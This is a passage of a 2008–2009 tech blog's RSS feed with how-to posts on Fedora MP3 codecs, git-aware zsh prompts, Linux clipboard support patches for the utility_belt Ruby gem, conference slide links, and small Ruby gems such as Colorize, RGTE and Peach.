<bash>
# yum install xine xine-lib-extras-nonfree</bash>

* Para crear MP3s con LAME : 
<bash>
# yum install lame lame-mp3x</bash>

* Para instalar todo junto con un solo comando: 
<bash>
# yum install xmms xine mplayer amarok xmms-mp3 gstreamer phonon-backend-gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly xine-lib-extras-nonfree mplayer gnome-mplayer-common mencoder gnome-mplayer lame lame-mp3x</bash>


]]></description>
			<content:encoded><![CDATA[<p>Hoy en el laburo, queria escuchar un poco de musica. Cuando fui a usar el player por default de Fedora 10 Rythombox no me andaban los MP3s y que tenia que instalar un plugin.<br />
Mi primera impresion fue un WTF? , luego recorde esta movida de free and libre only software. Y dije bueno a buscar repositorios.<br />
Esto es lo que encontre y lo que termine haciendo:</p>
<p><strong>Agregar los repositorios de rpmfusion:</strong></p>
<p><bash><br />
# rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm</bash><br />
<bash><br />
# rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm</bash> </p>
<p><strong>Instalar GStreamer plugins:</strong><br />
<bash><br />
# yum install gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly</bash></p>
<p><strong>Instalar otras app y librer?as:</strong></p>
<p> * Amarok con soporte para MP3:<br />
<bash><br />
# yum install amarok phonon-backend-gstreamer</bash></p>
<p>* MPlayer con soporte para MP3:<br />
<bash><br />
# yum install mplayer gnome-mplayer gnome-mplayer-common mencoder</bash></p>
<p>* XMMS con soporte para MP3:<br />
<bash><br />
# yum install xmms xmms-mp3</bash></p>
<p>* xine con soporte para MP3:<br />
<bash><br />
# yum install xine xine-lib-extras-nonfree</bash></p>
<p>* Para crear MP3s con LAME :<br />
<bash><br />
# yum install lame lame-mp3x</bash></p>
<p>* Para instalar todo junto con un solo comando:<br />
<bash><br />
# yum install xmms xine mplayer amarok xmms-mp3 gstreamer phonon-backend-gstreamer gstreamer-plugins-bad gstreamer-plugins-ugly xine-lib-extras-nonfree mplayer gnome-mplayer-common mencoder gnome-mplayer lame lame-mp3x</bash></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2009/01/28/fedora-10-mp3/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>zsh + git branchs and status</title>
		<link>http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status/</link>
		<comments>http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status/#comments</comments>
		<pubDate>Sat, 06 Dec 2008 18:11:30 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status</guid>
		<description><![CDATA[Siendo que uso mucho git para todos mis projectos, Cada tanto quiero saber el status y en que branch estoy (mas aun cuando hay varios branches). Buscando en internet encontr? un par de tips como crear funciones y agregarlas al PS1 o PROMPT en bash o zsh seg?n corresponda.

Primero tenemos que agregar un par de funciones a nuestro .zsh o .bashrc

<strong>Funciones:</strong>
<code>
function parse_git_status {
  [[ $(git status 2> /dev/null &#124; tail -n1) != "nothing to commit (working directory clean)" ]] &#038;&
  echo "*"
}
function parse_git_branch {
  git branch --no-color 2> /dev/null &#124; sed -e '/^[^*]/d' -e "s/* \(.*\)/[\1$(parse_git_status)]/"
}
</code>

Una vez que tengamos estas funciones tenes que agregar la funci?n a nuestro shell PROMPT para que cada vez que estemos en algun dir que sea un repositorio de git nos agregue el branch donde estamos y el status. Para esto necesitamos agregar el llamado a nuestra funci?n:
<strong>Llamado a Funcion:</strong>
<code>
$(parse_git_branch)%
</code>
<strong>Antes:</strong>
<code>
PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% ' 
</code>
<strong>Despu?s:</strong>
<code>
PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%
%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}%% ' 
</code>

O si preferimos que este a la derecha solito podemos hacerlo de la siguiente manera:
<strong>Prompt Derecha:</strong>
<code>
PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% '
RPROMPT='%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}'
</code>

Bueno, espero que les sirva tanto como a mi. 
]]></description>
			<content:encoded><![CDATA[<p>Siendo que uso mucho git para todos mis projectos, Cada tanto quiero saber el status y en que branch estoy (mas aun cuando hay varios branches). Buscando en internet encontr? un par de tips como crear funciones y agregarlas al PS1 o PROMPT en bash o zsh seg?n corresponda.</p>
<p>Primero tenemos que agregar un par de funciones a nuestro .zsh o .bashrc</p>
<p><strong>Funciones:</strong><br />
<code>function parse_git_status {<br />
  [[ $(git status 2&gt; /dev/null | tail -n1) != "nothing to commit (working directory clean)" ]] &amp;&amp;<br />
  echo "*"<br />
}<br />
function parse_git_branch {<br />
  git branch --no-color 2&gt; /dev/null | sed -e '/^[^*]/d' -e "s/* \(.*\)/[\1$(parse_git_status)]/"<br />
}</code></p>
<p>Una vez que tengamos estas funciones tenes que agregar la funci?n a nuestro shell PROMPT para que cada vez que estemos en algun dir que sea un repositorio de git nos agregue el branch donde estamos y el status. Para esto necesitamos agregar el llamado a nuestra funci?n:<br />
<strong>Llamado a Funcion:</strong><br />
<code>$(parse_git_branch)%</code><br />
<strong>Antes:</strong><br />
<code>PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% ' </code><br />
<strong>Despu?s:</strong><br />
<code>PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%<br />
%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}%% ' </code></p>
<p>O si preferimos que este a la derecha solito podemos hacerlo de la siguiente manera:<br />
<strong>Prompt Derecha:</strong><br />
<code>PROMPT='[$PR_BLUE%n$PR_WHITE@$PR_GREEN%m] $PR_WHITE%d $PR_NO_COLOR%% '<br />
RPROMPT='%{$fg_bold[yellow]%}$(parse_git_branch)%{$reset_color%}'</code></p>
<p>Bueno, espero que les sirva tanto como a mi. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/12/06/zsh-git-branchs-and-status/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>CLI Clipboard</title>
		<link>http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard/</link>
		<comments>http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 02:12:55 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard</guid>
		<description><![CDATA[Hace un tiempo ya que uso macosx como mi plataforma en mi desktop y laptop. Dentro de las cosas que me gustan mucho, existen un par de comandos como open, pbcopy, pbpaste que me atraen muuuchoo.&#160; Estos dos ultimos como se daran cuenta son para&#160; interactuar con el clipboard lo cual es bastante grosso cuando estas haciendo cosas y queres copiar los resultados de la terminal simplemente con &#124; a pbcopy lo copias.&#160; 

Siempre me dije, loco que mal que linux no tenga esto.&#160; Hoy haciendo uso de utility_belt me di cuenta que&#160; Giles, no habia implementado&#160; la plataforma :linux en su gem y fue eso lo que me hizo preguntar: existira o no una tool para manejar el clipboard desde la consola?, no puede ser que osx lo tenga pero linux no.&#160; 

Luego de preguntarle al Oraculo de la Matrix AKA Google, encontre un paquete que se llama xsel.&#160; 

<strong>Instalacion</strong>
<bash>
> emerge xsel  # en Gentoo
> sudo apt-get install xsel # Ubuntu o Debian
> sudo yum install xsel #centos, fedora, RHE, etc...
</bash>

<strong>Uso</strong>
<bash>
> ls &#124; xsel -i   #Copia el resultado de ls al clipboard.
> xsel           #Muestra lo que sea que este en el clipboard.
</bash>

Bueno, espero que les sirva para algo como me sirve a mi y ademas les cuento que mande un diff a Giles (autor de utility_belt) para que patchee utility_belt y habilite toda las tools que hacen uso de clipboard (ie. pastie)&#160; en linux.
<strong>CODE:</strong>

<strong>clipboard.rb</strong>
<code>
diff --git a/lib/utility_belt/clipboard.rb b/lib/utility_belt/clipboard.rb
index 67bcf7e..1525d56 100644
--- a/lib/utility_belt/clipboard.rb
+++ b/lib/utility_belt/clipboard.rb
@@ -22,7 +22,27 @@ module UtilityBelt
         IO.popen('pbcopy', 'w+') {&#124;clipboard&#124; clipboard.write(stuff)}
       end
       @@implemented = true
-  
+   
+    when :linux
+      
+      if File.exist?('/usr/bin/xsel') 
+             &#124;&#124; File.exist?('/usr/local/bin/xsel')
+             &#124;&#124; File.exist?('/usr/X11/bin/xsel')
+             
+        def self.read
+          IO.popen('xsel') {&#124;clipboard&#124; clipboard.read}
+        end
+      
+        def self.write(stuff)
+          IO.popen('xsel -i', 'w+') {&#124;clipboard&#124; clipboard.write(stuff)}
+        end
+        @@implemented = true
+      else
+        raise "You need to install package xsel\n 
+              ubuntu,debian: sudo apt-get install\n
+              Gentoo: sudo emerge xsel\n
+              fedora,centos,opensuse: yum install xsel\n"
+      end
     when :mswin
 
       begin
</code>

<strong>UPDATE:</strong> Google search linux support and pastie now opens up in default browser. :) I also decided to fork the github project to share all my changes so far. <a href="http://github.com/FreedomCoder/utility-belt">Github link</a>

<strong>google.rb</strong>
<code>
diff --git a/lib/utility_belt/google.rb b/lib/utility_belt/google.rb
index 04d419f..11d0180 100644
--- a/lib/utility_belt/google.rb
+++ b/lib/utility_belt/google.rb
@@ -19,7 +19,8 @@ module UtilityBelt
           Kernel.system("open #{url}")
         when :windows
           Kernel.system("start #{url}")
-        #when :linux
+        when :linux
+          Kernel.system("xdg-open #{url}")
         else
           puts "Sorry, don't know how to open an URL from the command line on your platform"
         end
</code>
<strong>pastie.rb</strong>
<code>
diff --git a/lib/utility_belt/pastie.rb b/lib/utility_belt/pastie.rb
index 0756f4b..99e6100 100644
--- a/lib/utility_belt/pastie.rb
+++ b/lib/utility_belt/pastie.rb
@@ -20,6 +20,8 @@ module UtilityBelt
         Kernel.system("open #{pastie_url}")
       when :mswin
         Kernel.system("start #{pastie_url}")
+      when :linux
+        kernel.system("xdg-open #{pastie_url}")
       end
 
       return pastie_url
</code>]]></description>
			<content:encoded><![CDATA[<p>Hace un tiempo ya que uso macosx como mi plataforma en mi desktop y laptop. Dentro de las cosas que me gustan mucho, existen un par de comandos como open, pbcopy, pbpaste que me atraen muuuchoo.&nbsp; Estos dos ultimos como se daran cuenta son para&nbsp; interactuar con el clipboard lo cual es bastante grosso cuando estas haciendo cosas y queres copiar los resultados de la terminal simplemente con | a pbcopy lo copias.&nbsp; </p>
<p>Siempre me dije, loco que mal que linux no tenga esto.&nbsp; Hoy haciendo uso de utility_belt me di cuenta que&nbsp; Giles, no habia implementado&nbsp; la plataforma :linux en su gem y fue eso lo que me hizo preguntar: existira o no una tool para manejar el clipboard desde la consola?, no puede ser que osx lo tenga pero linux no.&nbsp; </p>
<p>Luego de preguntarle al Oraculo de la Matrix AKA Google, encontre un paquete que se llama xsel.&nbsp; </p>
<p><strong>Instalacion</strong><br />
<bash><br />
> emerge xsel  # en Gentoo<br />
> sudo apt-get install xsel # Ubuntu o Debian<br />
> sudo yum install xsel #centos, fedora, RHE, etc&#8230;<br />
</bash></p>
<p><strong>Uso</strong><br />
<bash><br />
> ls | xsel -i   #Copia el resultado de ls al clipboard.<br />
> xsel           #Muestra lo que sea que este en el clipboard.<br />
</bash></p>
<p>Bueno, espero que les sirva para algo como me sirve a mi y ademas les cuento que mande un diff a Giles (autor de utility_belt) para que patchee utility_belt y habilite toda las tools que hacen uso de clipboard (ie. pastie)&nbsp; en linux.<br />
<strong>CODE:</strong></p>
<p><strong>clipboard.rb</strong><br />
<code>diff --git a/lib/utility_belt/clipboard.rb b/lib/utility_belt/clipboard.rb<br />
index 67bcf7e..1525d56 100644<br />
--- a/lib/utility_belt/clipboard.rb<br />
+++ b/lib/utility_belt/clipboard.rb<br />
@@ -22,7 +22,27 @@ module UtilityBelt<br />
         IO.popen('pbcopy', 'w+') {|clipboard| clipboard.write(stuff)}<br />
       end<br />
       @@implemented = true<br />
-<br />
+<br />
+    when :linux<br />
+<br />
+      if File.exist?('/usr/bin/xsel')<br />
+             || File.exist?('/usr/local/bin/xsel')<br />
+             || File.exist?('/usr/X11/bin/xsel')<br />
+<br />
+        def self.read<br />
+          IO.popen('xsel') {|clipboard| clipboard.read}<br />
+        end<br />
+<br />
+        def self.write(stuff)<br />
+          IO.popen('xsel -i', 'w+') {|clipboard| clipboard.write(stuff)}<br />
+        end<br />
+        @@implemented = true<br />
+      else<br />
+        raise "You need to install package xsel\n<br />
+              ubuntu,debian: sudo apt-get install\n<br />
+              Gentoo: sudo emerge xsel\n<br />
+              fedora,centos,opensuse: yum install xsel\n"<br />
+      end<br />
     when :mswin</p>
<p>       begin</code></p>
<p><strong>UPDATE:</strong> Google search linux support and pastie now opens up in default browser. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I also decided to fork the github project to share all my changes so far. <a href="http://github.com/FreedomCoder/utility-belt">Github link</a></p>
<p><strong>google.rb</strong><br />
<code>diff --git a/lib/utility_belt/google.rb b/lib/utility_belt/google.rb<br />
index 04d419f..11d0180 100644<br />
--- a/lib/utility_belt/google.rb<br />
+++ b/lib/utility_belt/google.rb<br />
@@ -19,7 +19,8 @@ module UtilityBelt<br />
           Kernel.system("open #{url}")<br />
         when :windows<br />
           Kernel.system("start #{url}")<br />
-        #when :linux<br />
+        when :linux<br />
+          Kernel.system("xdg-open #{url}")<br />
         else<br />
           puts "Sorry, don't know how to open an URL from the command line on your platform"<br />
         end</code><br />
<strong>pastie.rb</strong><br />
<code>diff --git a/lib/utility_belt/pastie.rb b/lib/utility_belt/pastie.rb<br />
index 0756f4b..99e6100 100644<br />
--- a/lib/utility_belt/pastie.rb<br />
+++ b/lib/utility_belt/pastie.rb<br />
@@ -20,6 +20,8 @@ module UtilityBelt<br />
         Kernel.system("open #{pastie_url}")<br />
       when :mswin<br />
         Kernel.system("start #{pastie_url}")<br />
+      when :linux<br />
+        kernel.system("xdg-open #{pastie_url}")<br />
       end</p>
<p>       return pastie_url</code></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/11/18/cli-clipboard/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>LugparanaConf 2008</title>
		<link>http://www.freedomcoder.com.ar/2008/11/11/lugparanaconf-2008/</link>
		<comments>http://www.freedomcoder.com.ar/2008/11/11/lugparanaconf-2008/#comments</comments>
		<pubDate>Tue, 11 Nov 2008 07:46:49 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/11/11/lugparanaconf-2008</guid>
		<description><![CDATA[Finalmente, me sente a escribir sobre la LugParanaConf 2008. 

El Sabado primero de Noviembre se realizo la conferencia de Software Libre en la Universidad Tecnologica Nacional - Facultad Reginal Parana. Gracias a Rodolinux termine dando 3 charlas&#160; en el correspondiente orden:

1) <a href="http://freedomcoder.com.ar/lugparanaconf2008/Intro-ruby-lpc08.pdf">Intro a Ruby </a>
2) <a href="http://freedomcoder.com.ar/lugparanaconf2008/ruby-meta-lpc08.pdf">Ruby Metaprogramming</a>
3) <a href="http://freedomcoder.com.ar/lugparanaconf2008/vulns-en-la-matrix-lpc08.pdf">Vulnerabilidades en la Matrix</a>

Dentro de las charlas a destacar encontr? la de Rodolinux
(http://www.rodolinux.com.ar) y otra de Gramos
(http://gastonramos.wordpress.com/), siendo la primera muy filos?fica y psicologica y la otra altamente tecnica. 

La conferencia fue todo un ?xito aunque realmente esperaba mas gente. Siendo critico constructivo para ir pensando en LugParanaConf 09, creo que se deber?a haber realizado mucho mas propaganda en tiempo y forma en todas las universidades y colegios t?cnicos de la zona.

Siguiendo la filosof?a de full disclosure, es importante mencionar que la primera charla, fue una peque?a introducci?n a Ruby que hice en el bondi y un rato a la madrugada ( 6 - 8 AM ) cuando llegue a Parana, Asi que pido que sepan comprender y disculparme si contiene errores. :)<br />Dicho esto, las otra dos, no. Asi que sientanse libre de hacer comentarios sobre las 3 pero no me maten con la primera.

Saludos y es importante destacar que mis charlas son distribuidas bajo la licencia Creative Commons 
Attribution + Noncommercial + ShareAlike (by-nc-sa)]]></description>
			<content:encoded><![CDATA[<p>Finalmente, me sente a escribir sobre la LugParanaConf 2008. </p>
<p>El Sabado primero de Noviembre se realizo la conferencia de Software Libre en la Universidad Tecnologica Nacional &#8211; Facultad Reginal Parana. Gracias a Rodolinux termine dando 3 charlas&nbsp; en el correspondiente orden:</p>
<p>1) <a href="http://freedomcoder.com.ar/lugparanaconf2008/Intro-ruby-lpc08.pdf">Intro a Ruby </a><br />
2) <a href="http://freedomcoder.com.ar/lugparanaconf2008/ruby-meta-lpc08.pdf">Ruby Metaprogramming</a><br />
3) <a href="http://freedomcoder.com.ar/lugparanaconf2008/vulns-en-la-matrix-lpc08.pdf">Vulnerabilidades en la Matrix</a></p>
<p>Dentro de las charlas a destacar encontr? la de Rodolinux<br />
(http://www.rodolinux.com.ar) y otra de Gramos<br />
(http://gastonramos.wordpress.com/), siendo la primera muy filos?fica y psicologica y la otra altamente tecnica. </p>
<p>La conferencia fue todo un ?xito aunque realmente esperaba mas gente. Siendo critico constructivo para ir pensando en LugParanaConf 09, creo que se deber?a haber realizado mucho mas propaganda en tiempo y forma en todas las universidades y colegios t?cnicos de la zona.</p>
<p>Siguiendo la filosof?a de full disclosure, es importante mencionar que la primera charla, fue una peque?a introducci?n a Ruby que hice en el bondi y un rato a la madrugada ( 6 &#8211; 8 AM ) cuando llegue a Parana, Asi que pido que sepan comprender y disculparme si contiene errores. <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <br />Dicho esto, las otra dos, no. Asi que sientanse libre de hacer comentarios sobre las 3 pero no me maten con la primera.</p>
<p>Saludos y es importante destacar que mis charlas son distribuidas bajo la licencia Creative Commons<br />
Attribution + Noncommercial + ShareAlike (by-nc-sa)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/11/11/lugparanaconf-2008/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Colorize on Github</title>
		<link>http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github/</link>
		<comments>http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github/#comments</comments>
		<pubDate>Thu, 28 Aug 2008 22:26:22 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github</guid>
		<description><![CDATA[Aqui les dejo una peque?a y <b>muy</b> simple gema, <a href="http://github.com/FreedomCoder/colorize">Colorize</a>,que nos permite colorear en la terminal de linux, osx o *nix como podemos observar en el siguiente ejemplo. 

Test.rb Code:

<code>
require "Colorize"

class Klass
  include Colors
  def initialize
    system("echo #{red("hola")} This is a #{blue("test")}")
    system("echo #{red on_white("Hola1")}")
    puts "#{red on_blue("Hola2")}"
  end
end

Klass.new

html = "<html>
<body>
<dl>
  <dt>the first term</dt>
  <dd>its definition</dd>

  <dt>the second term</dt>
  <dd>its definition</dd>

  <dt>the third term</dt>
  <dd>\"its definition\"</dd>
  <img src=\"test.html\">
</dl>
</body>
</html>"
     
c = Colorize.new( :red => /<.*html>&#124;<.*body>/, 
                  :blue => /".*"/,
                  :cyan => /src/)
puts c.paint(html)
</code>

Por ultimo, se aprecian mucho comentarios, ideas y/o preguntas sobre cosas que les gustar?a ver en Colorize, etc ... ]]></description>
			<content:encoded><![CDATA[<p>Aqui les dejo una peque?a y <b>muy</b> simple gema, <a href="http://github.com/FreedomCoder/colorize">Colorize</a>,que nos permite colorear en la terminal de linux, osx o *nix como podemos observar en el siguiente ejemplo. </p>
<p>Test.rb Code:</p>
<p><code>require "Colorize"</p>
<p>class Klass<br />
  include Colors<br />
  def initialize<br />
    system("echo #{red("hola")} This is a #{blue("test")}")<br />
    system("echo #{red on_white("Hola1")}")<br />
    puts "#{red on_blue("Hola2")}"<br />
  end<br />
end</p>
<p>Klass.new</p>
<p>html = "&lt;html&gt;<br />
&lt;body&gt;<br />
&lt;dl&gt;<br />
  &lt;dt&gt;the first term&lt;/dt&gt;<br />
  &lt;dd&gt;its definition&lt;/dd&gt;</p>
<p>  &lt;dt&gt;the second term&lt;/dt&gt;<br />
  &lt;dd&gt;its definition&lt;/dd&gt;</p>
<p>  &lt;dt&gt;the third term&lt;/dt&gt;<br />
  &lt;dd&gt;\"its definition\"&lt;/dd&gt;<br />
  &lt;img src=\"test.html\"&gt;<br />
&lt;/dl&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;"</p>
<p>c = Colorize.new( :red =&gt; /&lt;.*html&gt;|&lt;.*body&gt;/,<br />
                  :blue =&gt; /".*"/,<br />
                  :cyan =&gt; /src/)<br />
puts c.paint(html)</code></p>
<p>Por ultimo, se aprecian mucho comentarios, ideas y/o preguntas sobre cosas que les gustar?a ver en Colorize, etc &#8230; </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/08/28/colorize-on-github/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Jornadas Regionales de Software Libre</title>
		<link>http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre/</link>
		<comments>http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre/#comments</comments>
		<pubDate>Mon, 25 Aug 2008 21:29:42 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre</guid>
		<description><![CDATA[Las CaFeConf y JRSL son peque?os espacios de encuentro con amigos que no suelo ver durante el an~o pero que comparto dia a dia proyectos, ideas, ideales, etc.

Luego Tres (3) dias de mucho Ruby, Software Libre, amigos, cerveza, charlas, keynotes de astronautas e intercambio de ideas en los pasillos, logre --en los tiempos libres-- dar un par de charlas. 
Aca les dejo los slides de las presentaciones:

* RubyCocoa:
       http://www.freedomcoder.com.ar/files/JRSL08/ruby-cocoa.pdf
* Ruby Metraprogramming:
       http://www.freedomcoder.com.ar/files/JRSL08/ruby-meta.pdf

* Photos :
       http://www.flickr.com/photos/freedomcoder/sets/72157606962173346/]]></description>
			<content:encoded><![CDATA[<p>Las CaFeConf y JRSL son peque?os espacios de encuentro con amigos que no suelo ver durante el an~o pero que comparto dia a dia proyectos, ideas, ideales, etc.</p>
<p>Luego Tres (3) dias de mucho Ruby, Software Libre, amigos, cerveza, charlas, keynotes de astronautas e intercambio de ideas en los pasillos, logre &#8211;en los tiempos libres&#8211; dar un par de charlas.<br />
Aca les dejo los slides de las presentaciones:</p>
<p>* RubyCocoa:</p>
<p>http://www.freedomcoder.com.ar/files/JRSL08/ruby-cocoa.pdf</p>
<p>* Ruby Metraprogramming:</p>
<p>http://www.freedomcoder.com.ar/files/JRSL08/ruby-meta.pdf</p>
<p>* Photos :</p>
<p>http://www.flickr.com/photos/freedomcoder/sets/72157606962173346/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/08/25/jornadas-regionales-de-software-libre/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RGTE &#8211; Ruby Email filter</title>
		<link>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/#comments</comments>
		<pubDate>Tue, 22 Apr 2008 00:16:11 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter</guid>
		<description><![CDATA[According to the developer, RGTE is a small, opinionated email filter which processes and filters incoming email into Maildirs. The current version is 0.0.3. This project looks like it has a lot of potential, but it is still to young to be sure. 
If you want to try it you will need to install it with gem but providing a source:
<code>
$ [sudo] gem install --source http://rubyi.st/gems/ rgte
</code>
The developers reminds us not to forget that we need Tmail
 and we need to trail slashes, otherwise it won't work.

Try it and tell me what you think. 
Project's site : <a href="http://rubyi.st/rgte/"> http://rubyi.st/rgte/ </a>]]></description>
			<content:encoded><![CDATA[<p>According to the developer, RGTE is a small, opinionated email filter which processes and filters incoming email into Maildirs. The current version is 0.0.3. This project looks like it has a lot of potential, but it is still to young to be sure.<br />
If you want to try it you will need to install it with gem but providing a source:<br />
<code>$ [sudo] gem install --source http://rubyi.st/gems/ rgte</code><br />
The developers reminds us not to forget that we need Tmail<br />
 and we need to trail slashes, otherwise it won&#8217;t work.</p>
<p>Try it and tell me what you think.<br />
Project&#8217;s site : <a href="http://rubyi.st/rgte/"> http://rubyi.st/rgte/ </a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/21/rgte-ruby-email-filter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Peach = Thread + each</title>
		<link>http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each/#comments</comments>
		<pubDate>Mon, 21 Apr 2008 23:58:21 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/21/peach-thread-each</guid>
		<description><![CDATA[Parallel Each  (for ruby with threads)

It is pretty common to have iterations over Arrays that can be safely run in parallel. With multicore chips becoming pretty common, single threaded processing is about as cool as Pog. Unfortunately, standard Ruby hates real threads pretty hardcore at the present time; however, for some ruby projects alternate VMs like JRuby do give multicores some lovin'. Peach exists to make this power simple to use with minimal code changes.

Functions like map, each, and delete_if are often used in a functional, side-effect free style. If the operation in the block is computationally intense, performance can often be gained by multithreading the process. That's where Peach comes in. In the simplest case, you are one letter away from harnessing the power of parallelism and unlocking the secret of a guilt-free tan. At this stage, the goggles are purely optional.
Using Peach

Suppose you are going about your day job hacking away at code for the WOPR when you stumble upon the code:
<code>
cities.each {&#124;city&#124; thermonuclear_war(city)}
</code>	
Clearly, the only winning move is to declare war in parallel. With Peach, the new code is:
<code>
require 'peach'

cities.peach {&#124;city&#124; thermonuclear_war(city)}
</code>	
Requiring peach.rb monkey patches Array into submission. Currently Peach provides peach, pmap, and pdelete_if. Each of these functions takes an optional argument n, which represents the desired number of worker threads with the default being one thread per Array element. For cheaper operations on a large number of elements, you probably want to set n to something reasonably low.

<code>
(0...10000).to_a.pmap(4) {&#124;x&#124; process(x)}
</code>
Constructing the threads and adding on a few layers of indirection does add a bit of overhead to the iteration especially on MRI. Keep this in mind and remember to benchmark when unsure.
Syntax (without all the words)

<code>
require 'peach'

[1,2,3,4].peach{&#124;x&#124; f(x)} #Spawns 4 threads, => [1,2,3,4]
[1,2,3,4].pmap{&#124;x&#124; f(x)} #Spawns 4 threads, => [f(1),f(2),f(3),f(4)]
[1,2,3,4].pdelete_if{&#124;x&#124; x > 2} #Spawns 4 threads, => [3,4]

[1,2,3,4].peach(2){&#124;x&#124; f(x)} #Spawns 2 threads, => [1,2,3,4]
[1,2,3,4].pmap(2){&#124;x&#124; f(x)} #Spawns 2 threads, => [f(1),f(2),f(3),f(4)]
[1,2,3,4].pdelete_if(2){&#124;x&#124; x > 2} #Spawns 2 threads, => [3,4]
</code>

Extracted from the Developers's web site: http://peach.rubyforge.org/

UPDATE: Gracias!, Irlandes Borracho por la correccion en el titulo.]]></description>
			<content:encoded><![CDATA[<p>Parallel Each  (for ruby with threads)</p>
<p>It is pretty common to have iterations over Arrays that can be safely run in parallel. With multicore chips becoming pretty common, single threaded processing is about as cool as Pog. Unfortunately, standard Ruby hates real threads pretty hardcore at the present time; however, for some ruby projects alternate VMs like JRuby do give multicores some lovin&#8217;. Peach exists to make this power simple to use with minimal code changes.</p>
